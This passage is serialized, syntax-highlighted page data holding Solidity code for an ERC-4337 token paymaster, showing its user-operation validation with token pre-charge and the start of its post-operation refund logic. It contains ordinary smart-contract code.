_validatePaymasterUserOp",{"type":24,"tag":327,"props":109727,"children":109728},{"style":346},[109729],{"type":29,"value":349},{"type":24,"tag":327,"props":109731,"children":109732},{"style":334},[109733],{"type":29,"value":109734},"PackedUserOperation",{"type":24,"tag":327,"props":109736,"children":109737},{"style":334},[109738],{"type":29,"value":109739}," calldata",{"type":24,"tag":327,"props":109741,"children":109742},{"style":356},[109743],{"type":29,"value":109744}," userOp",{"type":24,"tag":327,"props":109746,"children":109747},{"style":346},[109748],{"type":29,"value":2744},{"type":24,"tag":327,"props":109750,"children":109751},{"style":1639},[109752],{"type":29,"value":109753},"bytes32",{"type":24,"tag":327,"props":109755,"children":109756},{"style":346},[109757],{"type":29,"value":2744},{"type":24,"tag":327,"props":109759,"children":109760},{"style":1639},[109761],{"type":29,"value":52887},{"type":24,"tag":327,"props":109763,"children":109764},{"style":356},[109765],{"type":29,"value":109766}," requiredPreFund",{"type":24,"tag":327,"props":109768,"children":109769},{"style":346},[109770],{"type":29,"value":852},{"type":24,"tag":327,"props":109772,"children":109773},{"class":329,"line":421},[109774],{"type":24,"tag":327,"props":109775,"children":109776},{"style":334},[109777],{"type":29,"value":109778},"        internal\n",{"type":24,"tag":327,"props":109780,"children":109781},{"class":329,"line":450},[109782],{"type":24,"tag":327,"props":109783,"children":109784},{"style":334},[109785],{"type":29,"value":109786},"        override\n",{"type":24,"tag":327,"props":109788,"children":109789},{"class":329,"line":481},[109790,109795,109799,109803,109808,109812,109816,109820,109825],{"type":24,"tag":327,"props":109791,"children":109792},{"style":425},[109793],{"type":29,"value":109794},"        returns",{"type":24,"tag":327,"props":109796,"children":109797},{"style":346},[109798],{"type":29,"value":5894},{"type":24,"tag":327,"props":109800,"children":109801},{"style":1639},[109802],{"type":29,"value":90555},{"type":24,"tag":327,"props":109804,"children":109805},{"style":334},[109806],{"type":29,"value":109807}," memory",{"type":24,"tag":327,"props":109809,"children":109810},{"style":356},[109811],{"type":29,"value":83067},{"type":24,"tag":327,"props":109813,"children":109814},{"style":346},[109815],{"type":29,"value":2744},{"type":24,"tag":327,"props":109817,"children":109818},{"style":1639},[109819],{"type":29,"value":52887},{"type":24,"tag":327,"props":109821,"children":109822},{"style":356},[109823],{"type":29,"value":109824}," validationResult",{"type":24,"tag":327,"props":109826,"children":109827},{"style":346},[109828],{"type":29,"value":852},{"type":24,"tag":327,"props":109830,"children":109831},{"class":329,"line":500},[109832],{"type":24,"tag":327,"props":109833,"children":109834},{"style":346},[109835],{"type":29,"value":35895},{"type":24,"tag":327,"props":109837,"children":109838},{"class":329,"line":529},[109839,109844],{"type":24,"tag":327,"props":109840,"children":109841},{"style":425},[109842],{"type":29,"value":109843},"        unchecked",{"type":24,"tag":327,"props":109845,"children":109846},{"style":346},[109847],{"type":29,"value":497},{"type":24,"tag":327,"props":109849,"children":109850},{"class":329,"line":538},[109851,109856,109861,109865],{"type":24,"tag":327,"props":109852,"children":109853},{"style":1639},[109854],{"type":29,"value":109855},"            uint256",{"type":24,"tag":327,"props":109857,"children":109858},{"style":346},[109859],{"type":29,"value":109860}," priceMarkup ",{"type":24,"tag":327,"props":109862,"children":109863},{"style":381},[109864],{"type":29,"value":384},{"type":24,"tag":327,"props":109866,"children":109867},{"style":346},[109868],{"type":29,"value":109869}," tokenPaymasterConfig.priceMarkup;\n",{"type":24,"tag":327,"props":109871,"children":109872},{"class":329,"line":547},[109873,109877,109882,109886],{"type":24,"tag":327,"props":109874,"children":109875},{"style":1639},[109876],{"type":29,"value":109855},{"type":24,"tag":327,"props":109878,"children":109879},{"style":346},[109880],{"type":29,"value":109881}," baseFee ",{"type":24,"tag":327,"props":109883,"children":109884},{"style":381},[109885],{"type":29,"value":384},{"type":24,"tag":327,"props":109887,"children":109888},{"style":346},[109889],{"type":29,"value":109890}," tokenPaymasterConfig.baseFee;\n",{"type":24,"tag":327,"props":109892,"children":109893},{"class":329,"line":557},[109894,109898,109903,109907,109912,109916],{"type":24,"tag":327,"props":109895,"children":109896},{"style":1639},[109897],{"type":29,"value":109855},{"type":24,"tag":327,"props":109899,"children":109900},{"style":346},[109901],{"type":29,"value":109902}," dataLength ",{"type":24,"tag":327,"props":109904,"children":109905},{"style":381},[109906],{"type":29,"value":384},{"type":24,"tag":327,"props":109908,"children":109909},{"style":346},[109910],{"type":29,"value":109911}," userOp.paymasterAndData.length ",{"type":24,"tag":327,"props":109913,"children":109914},{"style":381},[109915],{"type":29,"value":11899},{"type":24,"tag":327,"props":109917,"children":109918},{"style":346},[109919],{"type":29,"value":109920}," PAYMASTER_DATA_OFFSET;\n",{"type":24,"tag":327,"props":109922,"children":109923},{"class":329,"line":586},[109924,109929,109934,109938,109942,109946,109950,109954,109959,109963,109968],{"type":24,"tag":327,"props":109925,"children":109926},{"style":425},[109927],{"type":29,"value":109928},"            require",{"type":24,"tag":327,"props":109930,"children":109931},{"style":346},[109932],{"type":29,"value":109933},"(dataLength ",{"type":24,"tag":327,"props":109935,"children":109936},{"style":381},[109937],{"type":29,"value":642},{"type":24,"tag":327,"props":109939,"children":109940},{"style":397},[109941],{"type":29,"value":6695},{"type":24,"tag":327,"props":109943,"children":109944},{"style":381},[109945],{"type":29,"value":5139},{"type":24,"tag":327,"props":109947,"children":109948},{"style":346},[109949],{"type":29,"value":109902},{"type":24,"tag":327,"props":109951,"children":109952},{"style":381},[109953],{"type":29,"value":642},{"type":24,"tag":327,"props":109955,"children":109956},{"style":397},[109957],{"type":29,"value":109958}," 32",{"type":24,"tag":327,"props":109960,"children":109961},{"style":346},[109962],{"type":29,"value":2744},{"type":24,"tag":327,"props":109964,"children":109965},{"style":844},[109966],{"type":29,"value":109967},"\"TPM: invalid data length\"",{"type":24,"tag":327,"props":109969,"children":109970},{"style":346},[109971],{"type":29,"value":583},{"type":24,"tag":327,"props":109973,"children":109974},{"class":329,"line":1017},[109975,109979,109984,109988,109993,109998],{"type":24,"tag":327,"props":109976,"children":109977},{"style":1639},[109978],{"type":29,"value":109855},{"type":24,"tag":327,"props":109980,"children":109981},{"style":346},[109982],{"type":29,"value":109983}," maxFeePerGas ",{"type":24,"tag":327,"props":109985,"children":109986},{"style":381},[109987],{"type":29,"value":384},{"type":24,"tag":327,"props":109989,"children":109990},{"style":346},[109991],{"type":29,"value":109992}," userOp.",{"type":24,"tag":327,"props":109994,"children":109995},{"style":340},[109996],{"type":29,"value":109997},"unpackMaxFeePerGas",{"type":24,"tag":327,"props":109999,"children":110000},{"style":346},[110001],{"type":29,"value":4838},{"type":24,"tag":327,"props":110003,"children":110004},{"class":329,"line":1026},[110005,110009,110014,110018],{"type":24,"tag":327,"props":110006,"children":110007},{"style":1639},[110008],{"type":29,"value":109855},{"type":24,"tag":327,"props":110010,"children":110011},{"style":346},[110012],{"type":29,"value":110013}," refundPostopCost ",{"type":24,"tag":327,"props":110015,"children":110016},{"style":381},[110017],{"type":29,"value":384},{"type":24,"tag":327,"props":110019,"children":110020},{"style":346},[110021],{"type":29,"value":110022}," tokenPaymasterConfig.refundPostopCost;\n",{"type":24,"tag":327,"props":110024,"children":110025},{"class":329,"line":1048},[110026,110030,110035,110039,110043,110048,110052,110057],{"type":24,"tag":327,"props":110027,"children":110028},{"style":425},[110029],{"type":29,"value":109928},{"type":24,"tag":327,"props":110031,"children":110032},{"style":346},[110033],{"type":29,"value":110034},"(refundPostopCost ",{"type":24,"tag":327,"props":110036,"children":110037},{"style":381},[110038],{"type":29,"value":1596},{"type":24,"tag":327,"props":110040,"children":110041},{"style":346},[110042],{"type":29,"value":109992},{"type":24,"tag":327,"props":110044,"children":110045},{"style":340},[110046],{"type":29,"value":110047},"unpackPostOpGasLimit",{"type":24,"tag":327,"props":110049,"children":110050},{"style":346},[110051],{"type":29,"value":25885},{"type":24,"tag":327,"props":110053,"children":110054},{"style":844},[110055],{"type":29,"value":110056},"\"TPM: postOpGasLimit too low\"",{"type":24,"tag":327,"props":110058,"children":110059},{"style":346},[110060],{"type":29,"value":583},{"type":24,"tag":327,"props":110062,"children":110063},{"class":329,"line":1067},[110064,110068,110073,110077,110082,110086,110091,110095],{"type":24,"tag":327,"props":110065,"children":110066},{"style":1639},[110067],{"type":29,"value":109855},{"type":24,"tag":327,"props":110069,"children":110070},{"style":346},[110071],{"type":29,"value":110072}," preChargeNative ",{"type":24,"tag":327,"props":110074,"children":110075},{"style":381},[110076],{"type":29,"value":384},{"type":24,"tag":327,"props":110078,"children":110079},{"style":346},[110080],{"type":29,"value":110081}," requiredPreFund ",{"type":24,"tag":327,"props":110083,"children":110084},{"style":381},[110085],{"type":29,"value":394},{"type":24,"tag":327,"props":110087,"children":110088},{"style":346},[110089],{"type":29,"value":110090}," (refundPostopCost ",{"type":24,"tag":327,"props":110092,"children":110093},{"style":381},[110094],{"type":29,"value":469},{"type":24,"tag":327,"props":110096,"children":110097},{"style":346},[110098],{"type":29,"value":110099}," maxFeePerGas);\n",{"type":24,"tag":327,"props":110101,"children":110102},{"class":329,"line":1075},[110103,110108,110112],{"type":24,"tag":327,"props":110104,"children":110105},{"style":551},[110106],{"type":29,"value":110107},"            // ",{"type":24,"tag":327,"props":110109,"children":110110},{"style":334},[110111],{"type":29,"value":73483},{"type":24,"tag":327,"props":110113,"children":110114},{"style":551},[110115],{"type":29,"value":110116},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":24,"tag":327,"props":110118,"children":110119},{"class":329,"line":1084},[110120,110124,110129,110133,110138,110142,110147,110151],{"type":24,"tag":327,"props":110121,"children":110122},{"style":1639},[110123],{"type":29,"value":109855},{"type":24,"tag":327,"props":110125,"children":110126},{"style":346},[110127],{"type":29,"value":110128}," cachedPriceWithMarkup ",{"type":24,"tag":327,"props":110130,"children":110131},{"style":381},[110132],{"type":29,"value":384},{"type":24,"tag":327,"props":110134,"children":110135},{"style":346},[110136],{"type":29,"value":110137}," cachedPrice ",{"type":24,"tag":327,"props":110139,"children":110140},{"style":381},[110141],{"type":29,"value":469},{"type":24,"tag":327,"props":110143,"children":110144},{"style":346},[110145],{"type":29,"value":110146}," DENOM ",{"type":24,"tag":327,"props":110148,"children":110149},{"style":381},[110150],{"type":29,"value":2899},{"type":24,"tag":327,"props":110152,"children":110153},{"style":346},[110154],{"type":29,"value":110155}," priceMarkup;\n",{"type":24,"tag":327,"props":110157,"children":110158},{"class":329,"line":1100},[110159,110163,110168,110172,110176],{"type":24,"tag":327,"props":110160,"children":110161},{"style":425},[110162],{"type":29,"value":65523},{"type":24,"tag":327,"props":110164,"children":110165},{"style":346},[110166],{"type":29,"value":110167}," (dataLength ",{"type":24,"tag":327,"props":110169,"children":110170},{"style":381},[110171],{"type":29,"value":642},{"type":24,"tag":327,"props":110173,"children":110174},{"style":397},[110175],{"type":29,"value":109958},{"type":24,"tag":327,"props":110177,"children":110178},{"style":346},[110179],{"type":29,"value":364},{"type":24,"tag":327,"props":110181,"children":110182},{"class":329,"line":1128},[110183,110188,110193],{"type":24,"tag":327,"props":110184,"children":110185},{"style":1639},[110186],{"type":29,"value":110187},"                uint256",{"type":24,"tag":327,"props":110189,"children":110190},{"style":346},[110191],{"type":29,"value":110192}," clientSuppliedPrice ",{"type":24,"tag":327,"props":110194,"children":110195},{"style":381},[110196],{"type":29,"value":22220},{"type":24,"tag":327,"props":110198,"children":110199},{"class":329,"line":1148},[110200,110205,110209,110213,110218,110222,110227,110231,110235],{"type":24,"tag":327,"props":110201,"children":110202},{"style":1639},[110203],{"type":29,"value":110204},"                    uint256",{"type":24,"tag":327,"props":110206,"children":110207},{"style":346},[110208],{"type":29,"value":349},{"type":24,"tag":327,"props":110210,"children":110211},{"style":1639},[110212],{"type":29,"value":109753},{"type":24,"tag":327,"props":110214,"children":110215},{"style":346},[110216],{"type":29,"value":110217},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":24,"tag":327,"props":110219,"children":110220},{"style":381},[110221],{"type":29,"value":1636},{"type":24,"tag":327,"props":110223,"children":110224},{"style":346},[110225],{"type":29,"value":110226},"PAYMASTER_DATA_OFFSET ",{"type":24,"tag":327,"props":110228,"children":110229},{"style":381},[110230],{"type":29,"value":394},{"type":24,"tag":327,"props":110232,"children":110233},{"style":397},[110234],{"type":29,"value":109958},{"type":24,"tag":327,"props":110236,"children":110237},{"style":346},[110238],{"type":29,"value":110239},"]));\n",{"type":24,"tag":327,"props":110241,"children":110242},{"class":329,"line":1176},[110243,110248,110253,110257],{"type":24,"tag":327,"props":110244,"children":110245},{"style":425},[110246],{"type":29,"value":110247},"                if",{"type":24,"tag":327,"props":110249,"children":110250},{"style":346},[110251],{"type":29,"value":110252}," (clientSuppliedPrice ",{"type":24,"tag":327,"props":110254,"children":110255},{"style":381},[110256],{"type":29,"value":1596},{"type":24,"tag":327,"props":110258,"children":110259},{"style":346},[110260],{"type":29,"value":110261}," cachedPriceWithMarkup) {\n",{"type":24,"tag":327,"props":110263,"children":110264},{"class":329,"line":1184},[110265,110270,110274],{"type":24,"tag":327,"props":110266,"children":110267},{"style":551},[110268],{"type":29,"value":110269},"                    // ",{"type":24,"tag":327,"props":110271,"children":110272},{"style":334},[110273],{"type":29,"value":73483},{"type":24,"tag":327,"props":110275,"children":110276},{"style":551},[110277],{"type":29,"value":110278},": smaller number means 'more native asset per token'\n",{"type":24,"tag":327,"props":110280,"children":110281},{"class":329,"line":1192},[110282,110287,110291],{"type":24,"tag":327,"props":110283,"children":110284},{"style":346},[110285],{"type":29,"value":110286},"                    cachedPriceWithMarkup ",{"type":24,"tag":327,"props":110288,"children":110289},{"style":381},[110290],{"type":29,"value":384},{"type":24,"tag":327,"props":110292,"children":110293},{"style":346},[110294],{"type":29,"value":110295}," clientSuppliedPrice;\n",{"type":24,"tag":327,"props":110297,"children":110298},{"class":329,"line":1212},[110299],{"type":24,"tag":327,"props":110300,"children":110301},{"style":346},[110302],{"type":29,"value":77796},{"type":24,"tag":327,"props":110304,"children":110305},{"class":329,"line":4841},[110306],{"type":24,"tag":327,"props":110307,"children":110308},{"style":346},[110309],{"type":29,"value":65607},{"type":24,"tag":327,"props":110311,"children":110312},{"class":329,"line":4862},[110313,110317,110322,110326,110331],{"type":24,"tag":327,"props":110314,"children":110315},{"style":1639},[110316],{"type":29,"value":109855},{"type":24,"tag":327,"props":110318,"children":110319},{"style":346},[110320],{"type":29,"value":110321}," tokenAmount ",{"type":24,"tag":327,"props":110323,"children":110324},{"style":381},[110325],{"type":29,"value":384},{"type":24,"tag":327,"props":110327,"children":110328},{"style":340},[110329],{"type":29,"value":110330}," weiToToken",{"type":24,"tag":327,"props":110332,"children":110333},{"style":346},[110334],{"type":29,"value":110335},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":327,"props":110337,"children":110338},{"class":329,"line":4870},[110339,110344,110348],{"type":24,"tag":327,"props":110340,"children":110341},{"style":346},[110342],{"type":29,"value":110343},"            tokenAmount ",{"type":24,"tag":327,"props":110345,"children":110346},{"style":381},[110347],{"type":29,"value":75162},{"type":24,"tag":327,"props":110349,"children":110350},{"style":346},[110351],{"type":29,"value":110352}," baseFee;\n",{"type":24,"tag":327,"props":110354,"children":110355},{"class":329,"line":4879},[110356,110361,110366,110371,110375,110379,110383],{"type":24,"tag":327,"props":110357,"children":110358},{"style":346},[110359],{"type":29,"value":110360},"            SafeERC20.",{"type":24,"tag":327,"props":110362,"children":110363},{"style":340},[110364],{"type":29,"value":110365},"safeTransferFrom",{"type":24,"tag":327,"props":110367,"children":110368},{"style":346},[110369],{"type":29,"value":110370},"(token, userOp.sender, ",{"type":24,"tag":327,"props":110372,"children":110373},{"style":1639},[110374],{"type":29,"value":39351},{"type":24,"tag":327,"props":110376,"children":110377},{"style":346},[110378],{"type":29,"value":349},{"type":24,"tag":327,"props":110380,"children":110381},{"style":334},[110382],{"type":29,"value":25202},{"type":24,"tag":327,"props":110384,"children":110385},{"style":346},[110386],{"type":29,"value":110387},"), tokenAmount);\n",{"type":24,"tag":327,"props":110389,"children":110390},{"class":329,"line":4913},[110391,110396,110400,110405,110409,110414],{"type":24,"tag":327,"props":110392,"children":110393},{"style":346},[110394],{"type":29,"value":110395},"            context ",{"type":24,"tag":327,"props":110397,"children":110398},{"style":381},[110399],{"type":29,"value":384},{"type":24,"tag":327,"props":110401,"children":110402},{"style":334},[110403],{"type":29,"value":110404}," abi",{"type":24,"tag":327,"props":110406,"children":110407},{"style":346},[110408],{"type":29,"value":66},{"type":24,"tag":327,"props":110410,"children":110411},{"style":340},[110412],{"type":29,"value":110413},"encode",{"type":24,"tag":327,"props":110415,"children":110416},{"style":346},[110417],{"type":29,"value":110418},"(tokenAmount, userOp.sender);\n",{"type":24,"tag":327,"props":110420,"children":110421},{"class":329,"line":4938},[110422,110427],{"type":24,"tag":327,"props":110423,"children":110424},{"style":346},[110425],{"type":29,"value":110426},"            validationResult ",{"type":24,"tag":327,"props":110428,"children":110429},{"style":381},[110430],{"type":29,"value":22220},{"type":24,"tag":327,"props":110432,"children":110433},{"class":329,"line":4974},[110434,110439,110443,110447,110451,110456,110461,110465,110470,110474],{"type":24,"tag":327,"props":110435,"children":110436},{"style":340},[110437],{"type":29,"value":110438},"                _packValidationData",{"type":24,"tag":327,"props":110440,"children":110441},{"style":346},[110442],{"type":29,"value":349},{"type":24,"tag":327,"props":110444,"children":110445},{"style":334},[110446],{"type":29,"value":15736},{"type":24,"tag":327,"props":110448,"children":110449},{"style":346},[110450],{"type":29,"value":2744},{"type":24,"tag":327,"props":110452,"children":110453},{"style":1639},[110454],{"type":29,"value":110455},"uint48",{"type":24,"tag":327,"props":110457,"children":110458},{"style":346},[110459],{"type":29,"value":110460},"(cachedPriceTimestamp ",{"type":24,"tag":327,"props":110462,"children":110463},{"style":381},[110464],{"type":29,"value":394},{"type":24,"tag":327,"props":110466,"children":110467},{"style":346},[110468],{"type":29,"value":110469}," tokenPaymasterConfig.priceMaxAge), ",{"type":24,"tag":327,"props":110471,"children":110472},{"style":397},[110473],{"type":29,"value":2988},{"type":24,"tag":327,"props":110475,"children":110476},{"style":346},[110477],{"type":29,"value":583},{"type":24,"tag":327,"props":110479,"children":110480},{"class":329,"line":4982},[110481],{"type":24,"tag":327,"props":110482,"children":110483},{"style":346},[110484],{"type":29,"value":8989},{"type":24,"tag":327,"props":110486,"children":110487},{"class":329,"line":4990},[110488],{"type":24,"tag":327,"props":110489,"children":110490},{"style":346},[110491],{"type":29,"value":535},{"type":24,"tag":327,"props":110493,"children":110494},{"class":329,"line":4999},[110495],{"type":24,"tag":327,"props":110496,"children":110497},{"style":346},[110498],{"type":29,"value":17865},{"type":24,"tag":327,"props":110500,"children":110501},{"class":329,"line":5042},[110502,110506,110511,110515,110520,110524,110528,110532,110536,110540,110544,110549,110553,110557,110562],{"type":24,"tag":327,"props":110503,"children":110504},{"style":334},[110505],{"type":29,"value":96558},{"type":24,"tag":327,"props":110507,"children":110508},{"style":340},[110509],{"type":29,"value":110510}," _postOp",{"type":24,"tag":327,"props":110512,"children":110513},{"style":346},[110514],{"type":29,"value":349},{"type":24,"tag":327,"props":110516,"children":110517},{"style":334},[110518],{"type":29,"value":110519},"PostOpMode",{"type":24,"tag":327,"props":110521,"children":110522},{"style":346},[110523],{"type":29,"value":2744},{"type":24,"tag":327,"props":110525,"children":110526},{"style":1639},[110527],{"type":29,"value":90555},{"type":24,"tag":327,"props":110529,"children":110530},{"style":334},[110531],{"type":29,"value":109739},{"type":24,"tag":327,"props":110533,"children":110534},{"style":356},[110535],{"type":29,"value":83067},{"type":24,"tag":327,"props":110537,"children":110538},{"style":346},[110539],{"type":29,"value":2744},{"type":24,"tag":327,"props":110541,"children":110542},{"style":1639},[110543],{"type":29,"value":52887},{"type":24,"tag":327,"props":110545,"children":110546},{"style":356},[110547],{"type":29,"value":110548}," actualGasCost",{"type":24,"tag":327,"props":110550,"children":110551},{"style":346},[110552],{"type":29,"value":2744},{"type":24,"tag":327,"props":110554,"children":110555},{"style":1639},[110556],{"type":29,"value":52887},{"type":24,"tag":327,"props":110558,"children":110559},{"style":356},[110560],{"type":29,"value":110561}," actualUserOpFeePerGas",{"type":24,"tag":327,"props":110563,"children":110564},{"style":346},[110565],{"type":29,"value":852},{"type":24,"tag":327,"props":110567,"children":110568},{"class":329,"line":5075},[110569],{"type":24,"tag":327,"props":110570,"children":110571},{"style":334},[110572],{"type":29,"value":109778},{"type":24,"tag":327,"props":110574,"children":110575},{"class":329,"line":5083},[110576],{"type":24,"tag":327,"props":110577,"children":110578},{"style":334},[110579],{"type":29,"value":109786},{"type":24,"tag":327,"props":110581,"children":110582},{"class":329,"line":5091},[110583],{"type":24,"tag":327,"props":110584,"children":110585},{"style":346},[110586],{"type":29,"value":35895},{"type":24,"tag":327,"props":110588,"children":110589},{"class":329,"line":5100},[110590,110594],{"type":24,"tag":327,"props":110591,"children":110592},{"style":425},[110593],{"type":29,"value":109843},{"type":24,"tag":327,"props":110595,"children":110596},{"style":346},[110597],{"type":29,"value":497},{"type":24,"tag":327,"props":110599,"children":110600},{"class":329,"line":5176},[110601,110605,110609,110613],{"type":24,"tag":327,"props":110602,"children":110603},{"style":1639},[110604],{"type":29,"value":109855},{"type":24,"tag":327,"props":110606,"children":110607},{"style":346},[110608],{"type":29,"value":109860},{"type":24,"tag":327,"props":110610,"children":110611},{"style":381},[110612],{"type":29,"value":384},{"type":24,"tag":327,"props":110614,"children":110615},{"style":346},[110616],{"type":29,"value":109869},{"type":24,"tag":327,"props":110618,"children":110619},{"class":329,"line":5209},[110620,110624,110628,110632],{"type":24,"tag":327,"props":110621,"children":110622},{"style":1639},[110623],{"type":29,"value":109855},{"type":24,"tag":327,"props":110625,"children":110626},{"style":346},[110627],{"type":29,"value":109881},{"type":24,"tag":327,"props":110629,"children":110630},{"style":381},[110631],{"type":29,"value":384},{"type":24,"tag":327,"props":110633,"children":110634},{"style":346},[110635],{"type":29,"value":109890},{"type":24,"tag":327,"props":110637,"children":110638},{"class":329,"line":5217},[110639,110644,110648,110653,110657,110662,110666,110670,110674,110679,110684,110688,110692,110696],{"type":24,"tag":327,"props":110640,"children":110641},{"style":346},[110642],{"type":29,"value":110643},"            (",{"type":24,"tag":327,"props":110645,"children":110646},{"style":1639},[110647],{"type":29,"value":52887},{"type":24,"tag":327,"props":110649,"children":110650},{"style":346},[110651],{"type":29,"value":110652}," preCharge, ",{"type":24,"tag":327,"props":110654,"children":110655},{"style":1639},[110656],{"type":29,"value":39351},{"type":24,"tag":327,"props":110658,"children":110659},{"style":346},[110660],{"type":29,"value":110661}," userOpSender) ",{"type":24,"tag":327,"props":110663,"children":110664},{"style":381},[110665],{"type":29,"value":384},{"type":24,"tag":327,"props":110667,"children":110668},{"style":334},[110669],{"type":29,"value":110404},{"type":24,"tag":327,"props":110671,"children":110672},{"style":346},[110673],{"type":29,"value":66},{"type":24,"tag":327,"props":110675,"children":110676},{"style":340},[110677],{"type":29,"value":110678},"decode",{"type":24,"tag":327,"props":110680,"children":110681},{"style":346},[110682],{"type":29,"value":110683},"(context, (",{"type":24,"tag":327,"props":110685,"children":110686},{"style":1639},[110687],{"type":29,"value":52887},{"type":24,"tag":327,"props":110689,"children":110690},{"style":346},[110691],{"type":29,"value":2744},{"type":24,"tag":327,"props":110693,"children":110694},{"style":1639},[110695],{"type":29,"value":39351},{"type":24,"tag":327,"props":110697,"children":110698},{"style":346},[110699],{"type":29,"value":14786},{"type":24,"tag":327,"props":110701,"children":110702},{"class":329,"line":5225},[110703,110708,110713,110718],{"type":24,"tag":327,"props":110704,"children":110705},{"style":346},[110706],{"type":29,"value":110707},"            preCharge ",{"type":24,"tag":327,"props":110709,"children":110710},{"style":381},[110711],{"type":29,"value":110712},"-=",{"type":24,"tag":327,"props":110714,"children":110715},{"style":346},[110716],{"type":29,"value":110717}," baseFee; ",{"type":24,"tag":327,"props":110719,"children":110720},{"style":551},[110721],{"type":29,"value":110722},"// don't refund the base fee\n",{"type":24,"tag":327,"props":110724,"children":110725},{"class":329,"line":5263},[110726,110730,110735,110739,110744,110748,110752],{"type":24,"tag":327,"props":110727,"children":110728},{"style":1639},[110729],{"type":29,"value":109855},{"type":24,"tag":327,"props":110731,"children":110732},{"style":346},[110733],{"type":29,"value":110734}," _cachedPrice ",{"type":24,"tag":327,"props":110736,"children":110737},{"style":381},[110738],{"type":29,"value":384},{"type":24,"tag":327,"props":110740,"children":110741},{"style":340},[110742],{"type":29,"value":110743}," updateCachedPrice",{"type":24,"tag":327,"props":110745,"children":110746},{"style":346},[110747],{"type":29,"value":349},{"type":24,"tag":327,"props":110749,"children":110750},{"style":334},[110751],{"type":29,"value":15736},{"type":24,"tag":327,"props":110753,"children":110754},{"style":346},[110755],{"type":29,"value":583},{"type":24,"tag":327,"props":110757,"children":110758},{"class":329,"line":5276},[110759,110763,110767],{"type":24,"tag":327,"props":110760,"children":110761},{"style":551},[110762],{"type":29,"value":110107},{"type":24,"tag":327,"props":110764,"children":110765},{"style":334},[110766],{"type":29,"value":73483},{"type":24,"tag":327,"props":110768,"children":110769},{"style":551},[110770],{"type":29,"value":110116},{"type":24,"tag":327,"props":110772,"children":110773},{"class":329,"line":5289},[110774,110778,110782,110786,110790,110794,110798,110802],{"type":24,"tag":327,"props":110775,"children":110776},{"style":1639},[110777],{"type":29,"value":109855},{"type":24,"tag":327,"props":110779,"children":110780},{"style":346},[110781],{"type":29,"value":110128},{"type":24,"tag":327,"props":110783,"children":110784},{"style":381},[110785],{"type":29,"value":384},{"type":24,"tag":327,"props":110787,"children":110788},{"style":346},[110789],{"type":29,"value":110734},{"type":24,"tag":327,"props":110791,"children":110792},{"style":381},[110793],{"type":29,"value":469},{"type":24,"tag":327,"props":110795,"children":110796},{"style":346},[110797],{"type":29,"value":110146},{"type":24,"tag":327,"props":110799,"children":110800},{"style":381},[110801],{"type":29,"value":2899},{"type":24,"tag":327,"props":110803,"children":110804},{"style":346},[110805],{"type":29,"value":110155},{"type":24,"tag":327,"props":110807,"children":110808},{"class":329,"line":5302},[110809],{"type":24,"tag":327,"props":110810,"children":110811},{"style":551},[110812],{"type":29,"value":110813},"            // Refund tokens based on actual gas cost\n",{"type":24,"tag":327,"props":110815,"children":110816},{"class":329,"line":5360},[110817,110821,110826,110830,110835,110839,110844,110848],{"type":24,"tag":327,"props":110818,"children":110819},{"style":1639},[110820],{"type":29,"value":109855},{"type":24,"tag":327,"props":110822,"children":110823},{"style":346},[110824],{"type":29,"value":110825}," actualChargeNative ",{"type":24,"tag":327,"props":110827,"children":110828},{"style":381},[110829],{"type":29,"value":384},{"type":24,"tag":327,"props":110831,"children":110832},{"style":346},[110833],{"type":29,"value":110834}," actualGasCost ",{"type":24,"tag":327,"props":110836,"children":110837},{"style":381},[110838],{"type":29,"value":394},{"type":24,"tag":327,"props":110840,"children":110841},{"style":346},[110842],{"type":29,"value":110843}," tokenPaymasterConfig.refundPostopCost ",{"type":24,"tag":327,"props":110845,"children":110846},{"style":381},[110847],{"type":29,"value":469},{"type":24,"tag":327,"props":110849,"children":110850},{"style":346},[110851],{"type":29,"value":110852}," actualUserOpFeePerGas;\n",{"type":24,"tag":327,"props":110854,"children":110855},{"class":329,"line":5369},[110856,110860,110865,110869,110873],{"type":24,"tag":327,"props":110857,"children":110858},{"style":1639},[110859],{"type":29,"value":109855},{"type":24,"tag":327,"props":110861,"children":110862},{"style":346},[110863],{"type":29,"value":110864}," actualTokenNeeded ",{"type":24,"tag":327,"props":110866,"children":110867},{"style":381},[110868],{"type":29,"value":384},{"type":24,"tag":327,"props":110870,"children":110871},{"style":340},[110872],{"type":29,"value":110330},{"type":24,"tag":327,"props":110874,"children":110875},{"style":346},[110876],{"type":29,"value":110877},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":327,"props":110879,"children":110880},{"class":329,"line":38991},[110881,110885,110890,110894],{"type":24,"tag":327,"props":110882,"children":110883},{"style":425},[110884],{"type":29,"value":65523},{"type":24,"tag":327,"props":110886,"children":110887},{"style":346},[110888],{"type":29,"value":110889}," (preCharge ",{"type":24,"tag":327,"props":110891,"children":110892},{"style":381},[110893],{"type":29,"value":438},{"type":24,"tag":327,"props":110895,"children":110896},{"style":346},[110897],{"type":29,"value":110898}," actualTokenNeeded) {\n",{"type":24,"tag":327,"props":110900,"children":110901},{"class":329,"line":39012},[110902],{"type":24,"tag":327,"props":110903,"children":110904},{"style":551},[110905],{"type":29,"value":110906},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":24,"tag":327,"props":110908,"children":110909},{"class":329,"line":87678},[110910,110915,110920,110925,110929],{"type":24,"tag":327,"props":110911,"children":110912},{"style":346},[110913],{"type":29,"value":110914},"                SafeERC20.",{"type":24,"tag":327,"props":110916,"children":110917},{"style":340},[110918],{"type":29,"value":110919},"safeTransfer",{"type":24,"tag":327,"props":110921,"children":110922},{"style":346},[110923],{"type":29,"value":110924},"(token, userOpSender, preCharge ",{"type":24,"tag":327,"props":110926,"children":110927},{"style":381},[110928],{"type":29,"value":11899},{"type":24,"tag":327,"props":110930,"children":110931},{"style":346},[110932],{"type":29,"value":110933}," 